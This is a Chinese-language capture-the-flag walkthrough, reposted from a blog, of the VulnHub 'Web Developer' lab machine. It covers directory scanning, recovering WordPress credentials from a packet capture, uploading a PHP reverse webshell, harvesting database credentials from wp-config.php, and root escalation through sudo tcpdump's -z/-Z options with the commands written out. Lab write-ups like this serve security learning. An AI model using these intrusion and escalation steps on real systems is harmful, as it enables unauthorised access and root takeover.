ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

小白的靶机VulnHub-Web Developer

2021-02-02 21:31:42  阅读:304  来源: 互联网

标签:tmp Web tcpdump VulnHub wp root php 数据包 Developer


靶机地址:https://www.vulnhub.com/entry/web-developer-1,288/

开机界面 就是这样

在这里插入图片描述

同样是选择桥接

在这里插入图片描述

确定靶机的IP地址:192.168.1.10

靶机开放了22和80端口

在这里插入图片描述

还是wordpress框架

访问康康呗

dirb直接扫目录

在这里插入图片描述

发现好多目录/ipdata /wp-admin

有一个数据包 用wireshark 打开分析一下

在这里插入图片描述

过滤下http的数据包信息 然后就发现了 账号密码

在这里插入图片描述

账号:webdeveloper
密码:Te5eQg&4sBS!Yr$)wf%(DcAd

成功登录

kali中找php的webshell

在这里插入图片描述
进行修改为kali本机的IP

在这里插入图片描述

进行上传

在这里插入图片描述
上传成功

在这里插入图片描述
直接访问一下

路径:/wp-content/uploads/year/month/xx.php
http://192.168.1.10//wp-content/uploads/2021/02/5.php

拿到shell

在这里插入图片描述
不允许 sudo提权

在这里插入图片描述

进入/var/www/html/目录–>wp-config.php

看看配置文件

在这里插入图片描述

在这里插入图片描述
发现账号密码

账号:webdeveloper
密码:MasterOfTheUniverse

进行ssh登录

登录成功

在这里插入图片描述
查看sudo提权

在这里插入图片描述
通过root执行tcpdump指令 获取flag 这个之前总结过

tcpdump命令详解:

-i eth0 从指定网卡捕获数据包
-w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)
-W [num] 指定抓包数量
-G [rotate_seconds] 每rotate_seconds秒一次的频率执行-w指定的转储
-z [command] 运行指定的命令
-Z [user] 指定用户执行命令

那就直接上呗

  • 1.在该用户中创建文件
touch /tmp/exploit
  • 2.写入shellcode
echo 'cat /root/flag.txt' > /tmp/exploit
  • 3.赋予该文件执行权限
chmod +x /tmp/exploit
  • 4.执行tcpdump指令,得到flag.txt
sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root

成功拿到flag

在这里插入图片描述

WireShark主要分析什么:

ARP(Address Resolution Protocol)
TCP(Transmission Control Protocol)
HTTP(Hypertext Transfer Protocol)

这边在记录一下 大佬的提权 大佬的入口是修改 这里的404.php文件

在这里插入图片描述

用到的是/var/www/html/wp-content/themes/twentysixteen/404.php

为什么是/twentysixteen这个目录呢

因为 这个目录有修改权限

综合 一下命令:

echo $'php /var/www/html/wp-content/themes/twentysixteen/404.php' > /tmp/.a001
chmod +x /tmp/.a001
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.a001 -Z root

这样是可以提到root权限的

ok 这台靶机就到这里

标签:tmp,Web,tcpdump,VulnHub,wp,root,php,数据包,Developer
来源: https://blog.csdn.net/wo41ge/article/details/113511013

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有